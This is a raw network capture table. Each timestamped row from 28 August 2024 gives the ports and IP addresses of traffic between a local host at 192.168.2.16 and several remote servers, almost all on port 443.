Aug 28, 2024 13:52:39.170407057 CEST	443	49718	104.18.95.41	192.168.2.16
Aug 28, 2024 13:52:39.170423031 CEST	49718	443	192.168.2.16	104.18.95.41
Aug 28, 2024 13:52:39.170433998 CEST	443	49718	104.18.95.41	192.168.2.16
Aug 28, 2024 13:52:39.170475006 CEST	49718	443	192.168.2.16	104.18.95.41
Aug 28, 2024 13:52:39.170479059 CEST	443	49718	104.18.95.41	192.168.2.16
Aug 28, 2024 13:52:39.170558929 CEST	443	49718	104.18.95.41	192.168.2.16
Aug 28, 2024 13:52:39.170599937 CEST	49718	443	192.168.2.16	104.18.95.41
Aug 28, 2024 13:52:39.170603991 CEST	443	49718	104.18.95.41	192.168.2.16
Aug 28, 2024 13:52:39.171334028 CEST	443	49718	104.18.95.41	192.168.2.16
Aug 28, 2024 13:52:39.171390057 CEST	49718	443	192.168.2.16	104.18.95.41
Aug 28, 2024 13:52:39.171394110 CEST	443	49718	104.18.95.41	192.168.2.16
Aug 28, 2024 13:52:39.171437025 CEST	49718	443	192.168.2.16	104.18.95.41
Aug 28, 2024 13:52:39.171746016 CEST	443	49718	104.18.95.41	192.168.2.16
Aug 28, 2024 13:52:39.171806097 CEST	49718	443	192.168.2.16	104.18.95.41
Aug 28, 2024 13:52:39.171809912 CEST	443	49718	104.18.95.41	192.168.2.16
Aug 28, 2024 13:52:39.171827078 CEST	49724	443	192.168.2.16	35.190.80.1
Aug 28, 2024 13:52:39.171850920 CEST	443	49724	35.190.80.1	192.168.2.16
Aug 28, 2024 13:52:39.171860933 CEST	49718	443	192.168.2.16	104.18.95.41
Aug 28, 2024 13:52:39.171895981 CEST	443	49718	104.18.95.41	192.168.2.16
Aug 28, 2024 13:52:39.171921015 CEST	49724	443	192.168.2.16	35.190.80.1
Aug 28, 2024 13:52:39.171942949 CEST	49718	443	192.168.2.16	104.18.95.41
Aug 28, 2024 13:52:39.172245026 CEST	49724	443	192.168.2.16	35.190.80.1
Aug 28, 2024 13:52:39.172255993 CEST	443	49724	35.190.80.1	192.168.2.16
Aug 28, 2024 13:52:39.172738075 CEST	443	49718	104.18.95.41	192.168.2.16
Aug 28, 2024 13:52:39.172804117 CEST	49718	443	192.168.2.16	104.18.95.41
Aug 28, 2024 13:52:39.172921896 CEST	443	49718	104.18.95.41	192.168.2.16
Aug 28, 2024 13:52:39.172981977 CEST	49718	443	192.168.2.16	104.18.95.41
Aug 28, 2024 13:52:39.173532963 CEST	443	49718	104.18.95.41	192.168.2.16
Aug 28, 2024 13:52:39.173592091 CEST	49718	443	192.168.2.16	104.18.95.41
Aug 28, 2024 13:52:39.173698902 CEST	443	49718	104.18.95.41	192.168.2.16
Aug 28, 2024 13:52:39.173758030 CEST	49718	443	192.168.2.16	104.18.95.41
Aug 28, 2024 13:52:39.188544989 CEST	49720	443	192.168.2.16	104.18.94.41
Aug 28, 2024 13:52:39.211850882 CEST	443	49718	104.18.95.41	192.168.2.16
Aug 28, 2024 13:52:39.211910009 CEST	49718	443	192.168.2.16	104.18.95.41
Aug 28, 2024 13:52:39.211997032 CEST	443	49718	104.18.95.41	192.168.2.16
Aug 28, 2024 13:52:39.212138891 CEST	49718	443	192.168.2.16	104.18.95.41
Aug 28, 2024 13:52:39.212193012 CEST	443	49718	104.18.95.41	192.168.2.16
Aug 28, 2024 13:52:39.212236881 CEST	49718	443	192.168.2.16	104.18.95.41
Aug 28, 2024 13:52:39.212378979 CEST	443	49718	104.18.95.41	192.168.2.16
Aug 28, 2024 13:52:39.212434053 CEST	49718	443	192.168.2.16	104.18.95.41
Aug 28, 2024 13:52:39.216936111 CEST	443	49718	104.18.95.41	192.168.2.16
Aug 28, 2024 13:52:39.217000008 CEST	49718	443	192.168.2.16	104.18.95.41
Aug 28, 2024 13:52:39.217046022 CEST	443	49718	104.18.95.41	192.168.2.16
Aug 28, 2024 13:52:39.217103004 CEST	49718	443	192.168.2.16	104.18.95.41
Aug 28, 2024 13:52:39.223905087 CEST	443	49720	104.18.94.41	192.168.2.16
Aug 28, 2024 13:52:39.223978043 CEST	443	49720	104.18.94.41	192.168.2.16
Aug 28, 2024 13:52:39.224009037 CEST	443	49720	104.18.94.41	192.168.2.16
Aug 28, 2024 13:52:39.224026918 CEST	49720	443	192.168.2.16	104.18.94.41
Aug 28, 2024 13:52:39.224041939 CEST	443	49720	104.18.94.41	192.168.2.16
Aug 28, 2024 13:52:39.224085093 CEST	443	49720	104.18.94.41	192.168.2.16
Aug 28, 2024 13:52:39.224087000 CEST	49720	443	192.168.2.16	104.18.94.41
Aug 28, 2024 13:52:39.224100113 CEST	443	49720	104.18.94.41	192.168.2.16
Aug 28, 2024 13:52:39.224153996 CEST	49720	443	192.168.2.16	104.18.94.41
Aug 28, 2024 13:52:39.224170923 CEST	443	49720	104.18.94.41	192.168.2.16
Aug 28, 2024 13:52:39.224668980 CEST	443	49720	104.18.94.41	192.168.2.16
Aug 28, 2024 13:52:39.224694967 CEST	443	49720	104.18.94.41	192.168.2.16
Aug 28, 2024 13:52:39.224726915 CEST	49720	443	192.168.2.16	104.18.94.41
Aug 28, 2024 13:52:39.224737883 CEST	443	49720	104.18.94.41	192.168.2.16
Aug 28, 2024 13:52:39.224787951 CEST	49720	443	192.168.2.16	104.18.94.41
Aug 28, 2024 13:52:39.224795103 CEST	443	49720	104.18.94.41	192.168.2.16
Aug 28, 2024 13:52:39.224826097 CEST	443	49720	104.18.94.41	192.168.2.16
Aug 28, 2024 13:52:39.224865913 CEST	49720	443	192.168.2.16	104.18.94.41
Aug 28, 2024 13:52:39.224874020 CEST	443	49720	104.18.94.41	192.168.2.16
Aug 28, 2024 13:52:39.225411892 CEST	443	49720	104.18.94.41	192.168.2.16
Aug 28, 2024 13:52:39.225470066 CEST	49720	443	192.168.2.16	104.18.94.41
Aug 28, 2024 13:52:39.225478888 CEST	443	49720	104.18.94.41	192.168.2.16
Aug 28, 2024 13:52:39.225583076 CEST	443	49720	104.18.94.41	192.168.2.16
Aug 28, 2024 13:52:39.225613117 CEST	443	49720	104.18.94.41	192.168.2.16
Aug 28, 2024 13:52:39.225629091 CEST	49720	443	192.168.2.16	104.18.94.41
Aug 28, 2024 13:52:39.225636005 CEST	443	49720	104.18.94.41	192.168.2.16
Aug 28, 2024 13:52:39.225665092 CEST	443	49720	104.18.94.41	192.168.2.16
Aug 28, 2024 13:52:39.225682020 CEST	49720	443	192.168.2.16	104.18.94.41
Aug 28, 2024 13:52:39.225691080 CEST	443	49720	104.18.94.41	192.168.2.16
Aug 28, 2024 13:52:39.225733042 CEST	49720	443	192.168.2.16	104.18.94.41
Aug 28, 2024 13:52:39.226336002 CEST	443	49720	104.18.94.41	192.168.2.16
Aug 28, 2024 13:52:39.226505995 CEST	443	49720	104.18.94.41	192.168.2.16
Aug 28, 2024 13:52:39.226532936 CEST	443	49720	104.18.94.41	192.168.2.16
Aug 28, 2024 13:52:39.226558924 CEST	443	49720	104.18.94.41	192.168.2.16
Aug 28, 2024 13:52:39.226562977 CEST	49720	443	192.168.2.16	104.18.94.41
Aug 28, 2024 13:52:39.226572990 CEST	443	49720	104.18.94.41	192.168.2.16
Aug 28, 2024 13:52:39.226603985 CEST	49720	443	192.168.2.16	104.18.94.41
Aug 28, 2024 13:52:39.236543894 CEST	443	49721	142.250.185.164	192.168.2.16
Aug 28, 2024 13:52:39.236813068 CEST	49721	443	192.168.2.16	142.250.185.164
Aug 28, 2024 13:52:39.236821890 CEST	443	49721	142.250.185.164	192.168.2.16
Aug 28, 2024 13:52:39.237878084 CEST	443	49721	142.250.185.164	192.168.2.16
Aug 28, 2024 13:52:39.237946987 CEST	49721	443	192.168.2.16	142.250.185.164
Aug 28, 2024 13:52:39.238841057 CEST	49721	443	192.168.2.16	142.250.185.164
Aug 28, 2024 13:52:39.238930941 CEST	443	49721	142.250.185.164	192.168.2.16
Aug 28, 2024 13:52:39.258985996 CEST	443	49718	104.18.95.41	192.168.2.16
Aug 28, 2024 13:52:39.259054899 CEST	49718	443	192.168.2.16	104.18.95.41
Aug 28, 2024 13:52:39.259135962 CEST	443	49718	104.18.95.41	192.168.2.16
Aug 28, 2024 13:52:39.259190083 CEST	49718	443	192.168.2.16	104.18.95.41
Aug 28, 2024 13:52:39.259193897 CEST	443	49718	104.18.95.41	192.168.2.16
Aug 28, 2024 13:52:39.259207964 CEST	443	49718	104.18.95.41	192.168.2.16
Aug 28, 2024 13:52:39.259233952 CEST	49718	443	192.168.2.16	104.18.95.41
Aug 28, 2024 13:52:39.259268045 CEST	49718	443	192.168.2.16	104.18.95.41
Aug 28, 2024 13:52:39.259290934 CEST	49718	443	192.168.2.16	104.18.95.41
Aug 28, 2024 13:52:39.259300947 CEST	443	49718	104.18.95.41	192.168.2.16
Aug 28, 2024 13:52:39.280108929 CEST	49721	443	192.168.2.16	142.250.185.164
Aug 28, 2024 13:52:39.280112028 CEST	49720	443	192.168.2.16	104.18.94.41
Aug 28, 2024 13:52:39.280117989 CEST	443	49721	142.250.185.164	192.168.2.16
Aug 28, 2024 13:52:39.299606085 CEST	49689	80	192.168.2.16	192.229.211.108
Aug 28, 2024 13:52:39.312350988 CEST	443	49720	104.18.94.41	192.168.2.16
Aug 28, 2024 13:52:39.312417030 CEST	443	49720	104.18.94.41	192.168.2.16
Aug 28, 2024 13:52:39.312449932 CEST	443	49720	104.18.94.41	192.168.2.16
Aug 28, 2024 13:52:39.312463045 CEST	49720	443	192.168.2.16	104.18.94.41
Aug 28, 2024 13:52:39.312475920 CEST	443	49720	104.18.94.41	192.168.2.16
Aug 28, 2024 13:52:39.312515974 CEST	49720	443	192.168.2.16	104.18.94.41
Aug 28, 2024 13:52:39.312576056 CEST	443	49720	104.18.94.41	192.168.2.16
Aug 28, 2024 13:52:39.312629938 CEST	49720	443	192.168.2.16	104.18.94.41
Aug 28, 2024 13:52:39.312942982 CEST	443	49720	104.18.94.41	192.168.2.16
Aug 28, 2024 13:52:39.313014984 CEST	49720	443	192.168.2.16	104.18.94.41
Aug 28, 2024 13:52:39.313023090 CEST	443	49720	104.18.94.41	192.168.2.16
Aug 28, 2024 13:52:39.313386917 CEST	443	49720	104.18.94.41	192.168.2.16
Aug 28, 2024 13:52:39.313472986 CEST	49720	443	192.168.2.16	104.18.94.41
Aug 28, 2024 13:52:39.313481092 CEST	443	49720	104.18.94.41	192.168.2.16
Aug 28, 2024 13:52:39.313561916 CEST	49720	443	192.168.2.16	104.18.94.41
Aug 28, 2024 13:52:39.313663960 CEST	443	49720	104.18.94.41	192.168.2.16
Aug 28, 2024 13:52:39.313736916 CEST	49720	443	192.168.2.16	104.18.94.41
Aug 28, 2024 13:52:39.313818932 CEST	443	49720	104.18.94.41	192.168.2.16
Aug 28, 2024 13:52:39.313870907 CEST	49720	443	192.168.2.16	104.18.94.41
Aug 28, 2024 13:52:39.313922882 CEST	443	49720	104.18.94.41	192.168.2.16
Aug 28, 2024 13:52:39.313976049 CEST	49720	443	192.168.2.16	104.18.94.41
Aug 28, 2024 13:52:39.314659119 CEST	443	49720	104.18.94.41	192.168.2.16
Aug 28, 2024 13:52:39.314730883 CEST	49720	443	192.168.2.16	104.18.94.41
Aug 28, 2024 13:52:39.314956903 CEST	443	49720	104.18.94.41	192.168.2.16
Aug 28, 2024 13:52:39.315021038 CEST	49720	443	192.168.2.16	104.18.94.41
Aug 28, 2024 13:52:39.315210104 CEST	443	49720	104.18.94.41	192.168.2.16
Aug 28, 2024 13:52:39.315258980 CEST	443	49720	104.18.94.41	192.168.2.16
Aug 28, 2024 13:52:39.315268993 CEST	49720	443	192.168.2.16	104.18.94.41
Aug 28, 2024 13:52:39.315282106 CEST	443	49720	104.18.94.41	192.168.2.16
Aug 28, 2024 13:52:39.315311909 CEST	49720	443	192.168.2.16	104.18.94.41
Aug 28, 2024 13:52:39.315762043 CEST	443	49720	104.18.94.41	192.168.2.16
Aug 28, 2024 13:52:39.315788031 CEST	443	49720	104.18.94.41	192.168.2.16
Aug 28, 2024 13:52:39.315831900 CEST	49720	443	192.168.2.16	104.18.94.41
Aug 28, 2024 13:52:39.315840960 CEST	443	49720	104.18.94.41	192.168.2.16
Aug 28, 2024 13:52:39.315871000 CEST	49720	443	192.168.2.16	104.18.94.41
Aug 28, 2024 13:52:39.315960884 CEST	443	49720	104.18.94.41	192.168.2.16
Aug 28, 2024 13:52:39.316018105 CEST	49720	443	192.168.2.16	104.18.94.41
Aug 28, 2024 13:52:39.316025019 CEST	443	49720	104.18.94.41	192.168.2.16
Aug 28, 2024 13:52:39.316149950 CEST	49720	443	192.168.2.16	104.18.94.41
Aug 28, 2024 13:52:39.317173004 CEST	443	49720	104.18.94.41	192.168.2.16
Aug 28, 2024 13:52:39.317243099 CEST	49720	443	192.168.2.16	104.18.94.41
Aug 28, 2024 13:52:39.328103065 CEST	49721	443	192.168.2.16	142.250.185.164
Aug 28, 2024 13:52:39.401034117 CEST	443	49720	104.18.94.41	192.168.2.16
Aug 28, 2024 13:52:39.401134968 CEST	49720	443	192.168.2.16	104.18.94.41
Aug 28, 2024 13:52:39.401187897 CEST	443	49720	104.18.94.41	192.168.2.16
Aug 28, 2024 13:52:39.401249886 CEST	49720	443	192.168.2.16	104.18.94.41
Aug 28, 2024 13:52:39.401314020 CEST	443	49720	104.18.94.41	192.168.2.16
Aug 28, 2024 13:52:39.401345968 CEST	443	49720	104.18.94.41	192.168.2.16
Aug 28, 2024 13:52:39.401371956 CEST	49720	443	192.168.2.16	104.18.94.41
Aug 28, 2024 13:52:39.401384115 CEST	443	49720	104.18.94.41	192.168.2.16
Aug 28, 2024 13:52:39.401400089 CEST	49720	443	192.168.2.16	104.18.94.41
Aug 28, 2024 13:52:39.401427984 CEST	49720	443	192.168.2.16	104.18.94.41
Aug 28, 2024 13:52:39.401585102 CEST	443	49720	104.18.94.41	192.168.2.16
Aug 28, 2024 13:52:39.401640892 CEST	49720	443	192.168.2.16	104.18.94.41
Aug 28, 2024 13:52:39.401648998 CEST	443	49720	104.18.94.41	192.168.2.16
Aug 28, 2024 13:52:39.401669025 CEST	443	49720	104.18.94.41	192.168.2.16
Aug 28, 2024 13:52:39.401711941 CEST	49720	443	192.168.2.16	104.18.94.41
Aug 28, 2024 13:52:39.401916027 CEST	443	49720	104.18.94.41	192.168.2.16
Aug 28, 2024 13:52:39.401974916 CEST	49720	443	192.168.2.16	104.18.94.41
Aug 28, 2024 13:52:39.402128935 CEST	443	49720	104.18.94.41	192.168.2.16
Aug 28, 2024 13:52:39.402193069 CEST	443	49720	104.18.94.41	192.168.2.16
Aug 28, 2024 13:52:39.402203083 CEST	49720	443	192.168.2.16	104.18.94.41
Aug 28, 2024 13:52:39.402209997 CEST	443	49720	104.18.94.41	192.168.2.16
Aug 28, 2024 13:52:39.402241945 CEST	49720	443	192.168.2.16	104.18.94.41
Aug 28, 2024 13:52:39.402273893 CEST	443	49720	104.18.94.41	192.168.2.16
Aug 28, 2024 13:52:39.402324915 CEST	49720	443	192.168.2.16	104.18.94.41
Aug 28, 2024 13:52:39.402338028 CEST	443	49720	104.18.94.41	192.168.2.16
Aug 28, 2024 13:52:39.402354002 CEST	49720	443	192.168.2.16	104.18.94.41
Aug 28, 2024 13:52:39.402381897 CEST	49720	443	192.168.2.16	104.18.94.41
Aug 28, 2024 13:52:39.404973030 CEST	49726	443	192.168.2.16	104.18.95.41
Aug 28, 2024 13:52:39.405015945 CEST	443	49726	104.18.95.41	192.168.2.16
Aug 28, 2024 13:52:39.405093908 CEST	49726	443	192.168.2.16	104.18.95.41
Aug 28, 2024 13:52:39.405297995 CEST	49726	443	192.168.2.16	104.18.95.41
Aug 28, 2024 13:52:39.405311108 CEST	443	49726	104.18.95.41	192.168.2.16
Aug 28, 2024 13:52:39.658849001 CEST	443	49724	35.190.80.1	192.168.2.16
Aug 28, 2024 13:52:39.661845922 CEST	49724	443	192.168.2.16	35.190.80.1
Aug 28, 2024 13:52:39.661875010 CEST	443	49724	35.190.80.1	192.168.2.16
Aug 28, 2024 13:52:39.662981033 CEST	443	49724	35.190.80.1	192.168.2.16
Aug 28, 2024 13:52:39.663094044 CEST	49724	443	192.168.2.16	35.190.80.1
Aug 28, 2024 13:52:39.664072990 CEST	49724	443	192.168.2.16	35.190.80.1
Aug 28, 2024 13:52:39.664133072 CEST	443	49724	35.190.80.1	192.168.2.16
Aug 28, 2024 13:52:39.664241076 CEST	49724	443	192.168.2.16	35.190.80.1
Aug 28, 2024 13:52:39.664247990 CEST	443	49724	35.190.80.1	192.168.2.16
Aug 28, 2024 13:52:39.709120989 CEST	49724	443	192.168.2.16	35.190.80.1
Aug 28, 2024 13:52:39.791851997 CEST	443	49724	35.190.80.1	192.168.2.16
Aug 28, 2024 13:52:39.791934013 CEST	443	49724	35.190.80.1	192.168.2.16
Aug 28, 2024 13:52:39.792155981 CEST	49724	443	192.168.2.16	35.190.80.1
Aug 28, 2024 13:52:39.793184042 CEST	49724	443	192.168.2.16	35.190.80.1
Aug 28, 2024 13:52:39.793201923 CEST	443	49724	35.190.80.1	192.168.2.16
Aug 28, 2024 13:52:39.793822050 CEST	49727	443	192.168.2.16	35.190.80.1
Aug 28, 2024 13:52:39.793842077 CEST	443	49727	35.190.80.1	192.168.2.16
Aug 28, 2024 13:52:39.793915033 CEST	49727	443	192.168.2.16	35.190.80.1
Aug 28, 2024 13:52:39.794164896 CEST	49727	443	192.168.2.16	35.190.80.1
Aug 28, 2024 13:52:39.794176102 CEST	443	49727	35.190.80.1	192.168.2.16
Aug 28, 2024 13:52:39.823434114 CEST	49728	443	192.168.2.16	104.18.94.41
Aug 28, 2024 13:52:39.823472977 CEST	443	49728	104.18.94.41	192.168.2.16
Aug 28, 2024 13:52:39.823662996 CEST	49728	443	192.168.2.16	104.18.94.41
Aug 28, 2024 13:52:39.823805094 CEST	49728	443	192.168.2.16	104.18.94.41
Aug 28, 2024 13:52:39.823817015 CEST	443	49728	104.18.94.41	192.168.2.16
Aug 28, 2024 13:52:39.868513107 CEST	443	49726	104.18.95.41	192.168.2.16
Aug 28, 2024 13:52:39.868801117 CEST	49726	443	192.168.2.16	104.18.95.41
Aug 28, 2024 13:52:39.868827105 CEST	443	49726	104.18.95.41	192.168.2.16
Aug 28, 2024 13:52:39.869152069 CEST	443	49726	104.18.95.41	192.168.2.16
Aug 28, 2024 13:52:39.869460106 CEST	49726	443	192.168.2.16	104.18.95.41
Aug 28, 2024 13:52:39.869528055 CEST	443	49726	104.18.95.41	192.168.2.16
Aug 28, 2024 13:52:39.869568110 CEST	49726	443	192.168.2.16	104.18.95.41
Aug 28, 2024 13:52:39.915110111 CEST	49726	443	192.168.2.16	104.18.95.41
Aug 28, 2024 13:52:39.915134907 CEST	443	49726	104.18.95.41	192.168.2.16
Aug 28, 2024 13:52:39.995954990 CEST	443	49726	104.18.95.41	192.168.2.16
Aug 28, 2024 13:52:39.996035099 CEST	443	49726	104.18.95.41	192.168.2.16
Aug 28, 2024 13:52:39.996155024 CEST	49726	443	192.168.2.16	104.18.95.41
Aug 28, 2024 13:52:39.997150898 CEST	49726	443	192.168.2.16	104.18.95.41
Aug 28, 2024 13:52:39.997176886 CEST	443	49726	104.18.95.41	192.168.2.16
Aug 28, 2024 13:52:40.247488976 CEST	443	49727	35.190.80.1	192.168.2.16
Aug 28, 2024 13:52:40.250880957 CEST	49727	443	192.168.2.16	35.190.80.1
Aug 28, 2024 13:52:40.250902891 CEST	443	49727	35.190.80.1	192.168.2.16
Aug 28, 2024 13:52:40.251388073 CEST	443	49727	35.190.80.1	192.168.2.16
Aug 28, 2024 13:52:40.254481077 CEST	49727	443	192.168.2.16	35.190.80.1
Aug 28, 2024 13:52:40.254586935 CEST	443	49727	35.190.80.1	192.168.2.16
Aug 28, 2024 13:52:40.256000996 CEST	49727	443	192.168.2.16	35.190.80.1
Aug 28, 2024 13:52:40.296504021 CEST	443	49727	35.190.80.1	192.168.2.16
Aug 28, 2024 13:52:40.296713114 CEST	443	49728	104.18.94.41	192.168.2.16
Aug 28, 2024 13:52:40.299474001 CEST	49728	443	192.168.2.16	104.18.94.41
Aug 28, 2024 13:52:40.299500942 CEST	443	49728	104.18.94.41	192.168.2.16
Aug 28, 2024 13:52:40.299802065 CEST	443	49728	104.18.94.41	192.168.2.16
Aug 28, 2024 13:52:40.300410986 CEST	49728	443	192.168.2.16	104.18.94.41
Aug 28, 2024 13:52:40.300462961 CEST	443	49728	104.18.94.41	192.168.2.16
Aug 28, 2024 13:52:40.301820993 CEST	49728	443	192.168.2.16	104.18.94.41
Aug 28, 2024 13:52:40.344501019 CEST	443	49728	104.18.94.41	192.168.2.16
Aug 28, 2024 13:52:40.385999918 CEST	443	49727	35.190.80.1	192.168.2.16
Aug 28, 2024 13:52:40.386140108 CEST	443	49727	35.190.80.1	192.168.2.16
Aug 28, 2024 13:52:40.386296988 CEST	49727	443	192.168.2.16	35.190.80.1
Aug 28, 2024 13:52:40.386317968 CEST	443	49727	35.190.80.1	192.168.2.16
Aug 28, 2024 13:52:40.386332035 CEST	49727	443	192.168.2.16	35.190.80.1
Aug 28, 2024 13:52:40.386360884 CEST	49727	443	192.168.2.16	35.190.80.1
Aug 28, 2024 13:52:40.422630072 CEST	443	49728	104.18.94.41	192.168.2.16
Aug 28, 2024 13:52:40.422703028 CEST	443	49728	104.18.94.41	192.168.2.16
Aug 28, 2024 13:52:40.422775030 CEST	443	49728	104.18.94.41	192.168.2.16
Aug 28, 2024 13:52:40.422810078 CEST	49728	443	192.168.2.16	104.18.94.41
Aug 28, 2024 13:52:40.422841072 CEST	49728	443	192.168.2.16	104.18.94.41
Aug 28, 2024 13:52:40.423239946 CEST	49728	443	192.168.2.16	104.18.94.41
Aug 28, 2024 13:52:40.423255920 CEST	443	49728	104.18.94.41	192.168.2.16
Aug 28, 2024 13:52:40.630655050 CEST	49730	443	192.168.2.16	104.18.94.41
Aug 28, 2024 13:52:40.630719900 CEST	443	49730	104.18.94.41	192.168.2.16
Aug 28, 2024 13:52:40.631011009 CEST	49730	443	192.168.2.16	104.18.94.41
Aug 28, 2024 13:52:40.631225109 CEST	49730	443	192.168.2.16	104.18.94.41
Aug 28, 2024 13:52:40.631241083 CEST	443	49730	104.18.94.41	192.168.2.16
Aug 28, 2024 13:52:40.632143021 CEST	49673	443	192.168.2.16	204.79.197.203
Aug 28, 2024 13:52:41.084955931 CEST	443	49730	104.18.94.41	192.168.2.16
Aug 28, 2024 13:52:41.085350037 CEST	49730	443	192.168.2.16	104.18.94.41
Aug 28, 2024 13:52:41.085383892 CEST	443	49730	104.18.94.41	192.168.2.16
Aug 28, 2024 13:52:41.085773945 CEST	443	49730	104.18.94.41	192.168.2.16
Aug 28, 2024 13:52:41.086090088 CEST	49730	443	192.168.2.16	104.18.94.41
Aug 28, 2024 13:52:41.086153030 CEST	443	49730	104.18.94.41	192.168.2.16
Aug 28, 2024 13:52:41.086230040 CEST	49730	443	192.168.2.16	104.18.94.41
Aug 28, 2024 13:52:41.128514051 CEST	443	49730	104.18.94.41	192.168.2.16
Aug 28, 2024 13:52:41.228775978 CEST	443	49730	104.18.94.41	192.168.2.16
Aug 28, 2024 13:52:41.228864908 CEST	443	49730	104.18.94.41	192.168.2.16
Aug 28, 2024 13:52:41.228964090 CEST	49730	443	192.168.2.16	104.18.94.41
Aug 28, 2024 13:52:41.229897976 CEST	49730	443	192.168.2.16	104.18.94.41
Aug 28, 2024 13:52:41.229934931 CEST	443	49730	104.18.94.41	192.168.2.16
Aug 28, 2024 13:52:41.232269049 CEST	49731	443	192.168.2.16	104.18.95.41
Aug 28, 2024 13:52:41.232317924 CEST	443	49731	104.18.95.41	192.168.2.16
Aug 28, 2024 13:52:41.232407093 CEST	49731	443	192.168.2.16	104.18.95.41
Aug 28, 2024 13:52:41.232594967 CEST	49731	443	192.168.2.16	104.18.95.41
Aug 28, 2024 13:52:41.232614040 CEST	443	49731	104.18.95.41	192.168.2.16
Aug 28, 2024 13:52:41.448445082 CEST	49732	443	192.168.2.16	104.18.94.41
Aug 28, 2024 13:52:41.448506117 CEST	443	49732	104.18.94.41	192.168.2.16
Aug 28, 2024 13:52:41.448615074 CEST	49732	443	192.168.2.16	104.18.94.41
Aug 28, 2024 13:52:41.448839903 CEST	49732	443	192.168.2.16	104.18.94.41
Aug 28, 2024 13:52:41.448863029 CEST	443	49732	104.18.94.41	192.168.2.16
Aug 28, 2024 13:52:41.696398020 CEST	443	49731	104.18.95.41	192.168.2.16
Aug 28, 2024 13:52:41.696825027 CEST	49731	443	192.168.2.16	104.18.95.41
Aug 28, 2024 13:52:41.696851969 CEST	443	49731	104.18.95.41	192.168.2.16
Aug 28, 2024 13:52:41.697196007 CEST	443	49731	104.18.95.41	192.168.2.16
Aug 28, 2024 13:52:41.698461056 CEST	49731	443	192.168.2.16	104.18.95.41
Aug 28, 2024 13:52:41.698532104 CEST	443	49731	104.18.95.41	192.168.2.16
Aug 28, 2024 13:52:41.698848009 CEST	49731	443	192.168.2.16	104.18.95.41
Aug 28, 2024 13:52:41.740498066 CEST	443	49731	104.18.95.41	192.168.2.16
Aug 28, 2024 13:52:41.841214895 CEST	443	49731	104.18.95.41	192.168.2.16
Aug 28, 2024 13:52:41.841298103 CEST	443	49731	104.18.95.41	192.168.2.16
Aug 28, 2024 13:52:41.841386080 CEST	49731	443	192.168.2.16	104.18.95.41
Aug 28, 2024 13:52:41.844461918 CEST	49731	443	192.168.2.16	104.18.95.41
Aug 28, 2024 13:52:41.844490051 CEST	443	49731	104.18.95.41	192.168.2.16
Aug 28, 2024 13:52:41.939325094 CEST	443	49732	104.18.94.41	192.168.2.16
Aug 28, 2024 13:52:41.939615965 CEST	49732	443	192.168.2.16	104.18.94.41
Aug 28, 2024 13:52:41.939636946 CEST	443	49732	104.18.94.41	192.168.2.16
Aug 28, 2024 13:52:41.939941883 CEST	443	49732	104.18.94.41	192.168.2.16
Aug 28, 2024 13:52:41.940243006 CEST	49732	443	192.168.2.16	104.18.94.41
Aug 28, 2024 13:52:41.940301895 CEST	443	49732	104.18.94.41	192.168.2.16
Aug 28, 2024 13:52:41.940416098 CEST	49732	443	192.168.2.16	104.18.94.41
Aug 28, 2024 13:52:41.940494061 CEST	49732	443	192.168.2.16	104.18.94.41
Aug 28, 2024 13:52:41.940524101 CEST	443	49732	104.18.94.41	192.168.2.16
Aug 28, 2024 13:52:41.940603018 CEST	49732	443	192.168.2.16	104.18.94.41
Aug 28, 2024 13:52:41.940629005 CEST	443	49732	104.18.94.41	192.168.2.16
Aug 28, 2024 13:52:42.188807011 CEST	443	49732	104.18.94.41	192.168.2.16
Aug 28, 2024 13:52:42.188855886 CEST	443	49732	104.18.94.41	192.168.2.16
Aug 28, 2024 13:52:42.188889980 CEST	443	49732	104.18.94.41	192.168.2.16
Aug 28, 2024 13:52:42.188916922 CEST	443	49732	104.18.94.41	192.168.2.16
Aug 28, 2024 13:52:42.188920021 CEST	49732	443	192.168.2.16	104.18.94.41
Aug 28, 2024 13:52:42.188930035 CEST	443	49732	104.18.94.41	192.168.2.16
Aug 28, 2024 13:52:42.189074993 CEST	49732	443	192.168.2.16	104.18.94.41
Aug 28, 2024 13:52:42.189152956 CEST	443	49732	104.18.94.41	192.168.2.16
Aug 28, 2024 13:52:42.189197063 CEST	49732	443	192.168.2.16	104.18.94.41
Aug 28, 2024 13:52:42.189240932 CEST	443	49732	104.18.94.41	192.168.2.16
Aug 28, 2024 13:52:42.189871073 CEST	443	49732	104.18.94.41	192.168.2.16
Aug 28, 2024 13:52:42.189898014 CEST	443	49732	104.18.94.41	192.168.2.16
Aug 28, 2024 13:52:42.189920902 CEST	49732	443	192.168.2.16	104.18.94.41
Aug 28, 2024 13:52:42.189925909 CEST	443	49732	104.18.94.41	192.168.2.16
Aug 28, 2024 13:52:42.189963102 CEST	49732	443	192.168.2.16	104.18.94.41
Aug 28, 2024 13:52:42.189968109 CEST	443	49732	104.18.94.41	192.168.2.16
Aug 28, 2024 13:52:42.193574905 CEST	443	49732	104.18.94.41	192.168.2.16
Aug 28, 2024 13:52:42.193629026 CEST	49732	443	192.168.2.16	104.18.94.41
Aug 28, 2024 13:52:42.193636894 CEST	443	49732	104.18.94.41	192.168.2.16
Aug 28, 2024 13:52:42.239190102 CEST	49732	443	192.168.2.16	104.18.94.41
Aug 28, 2024 13:52:42.278909922 CEST	443	49732	104.18.94.41	192.168.2.16
Aug 28, 2024 13:52:42.278973103 CEST	443	49732	104.18.94.41	192.168.2.16
Aug 28, 2024 13:52:42.279035091 CEST	49732	443	192.168.2.16	104.18.94.41
Aug 28, 2024 13:52:42.279045105 CEST	443	49732	104.18.94.41	192.168.2.16
Aug 28, 2024 13:52:42.279305935 CEST	443	49732	104.18.94.41	192.168.2.16
Aug 28, 2024 13:52:42.279335022 CEST	443	49732	104.18.94.41	192.168.2.16
Aug 28, 2024 13:52:42.279355049 CEST	49732	443	192.168.2.16	104.18.94.41
Aug 28, 2024 13:52:42.279361010 CEST	443	49732	104.18.94.41	192.168.2.16
Aug 28, 2024 13:52:42.279392958 CEST	443	49732	104.18.94.41	192.168.2.16
Aug 28, 2024 13:52:42.279397964 CEST	49732	443	192.168.2.16	104.18.94.41
Aug 28, 2024 13:52:42.279402018 CEST	443	49732	104.18.94.41	192.168.2.16
Aug 28, 2024 13:52:42.279434919 CEST	49732	443	192.168.2.16	104.18.94.41
Aug 28, 2024 13:52:42.279441118 CEST	443	49732	104.18.94.41	192.168.2.16
Aug 28, 2024 13:52:42.279454947 CEST	443	49732	104.18.94.41	192.168.2.16
Aug 28, 2024 13:52:42.279503107 CEST	49732	443	192.168.2.16	104.18.94.41
Aug 28, 2024 13:52:42.279583931 CEST	49732	443	192.168.2.16	104.18.94.41
